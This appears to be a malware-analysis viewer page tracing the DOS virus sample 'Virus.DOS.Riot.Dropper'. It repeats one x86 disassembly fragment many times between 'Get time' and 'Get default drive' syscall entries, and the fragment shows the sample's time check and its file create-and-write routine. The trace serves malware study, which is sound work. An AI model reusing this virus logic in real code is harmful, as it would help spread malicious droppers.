Sample viewer

vx.netlux.org/Virus.DOS.Riot.Dropper

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:56:18.061307376Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.064299021Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.065911802Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.068005798Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.070019704Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.072225364Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.073684174Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.075693476Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.083946514Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.085918286Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.08729189Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.105527783Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.107184596Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.109188267Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.113509309Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.115622924Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.117080945Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.119786831Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.121671594Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.124068429Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.126395698Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.128669161Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.130628111Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.133575864Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.136235428Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.138550163Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.141096147Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.143931179Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.145181403Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.147659374Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.148832266Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.150335135Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.151842227Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.157649564Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.158788719Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.16038005Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.162931429Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.164876279Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.166442953Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.168595927Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.169993867Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.172501963Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.174208566Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.17608429Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.177437185Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.179956061Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.181336453Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.18323785Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.184974941Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.186878814Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.188218564Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.190471201Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.191813248Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.193744051Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.195663979Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.197744649Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.199228424Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.201657175Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.203047153Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.205028026Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.207829631Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.20992785Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.211435005Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.214576149Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.216789998Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.219124483Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.222086515Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.224115679Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.225541436Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
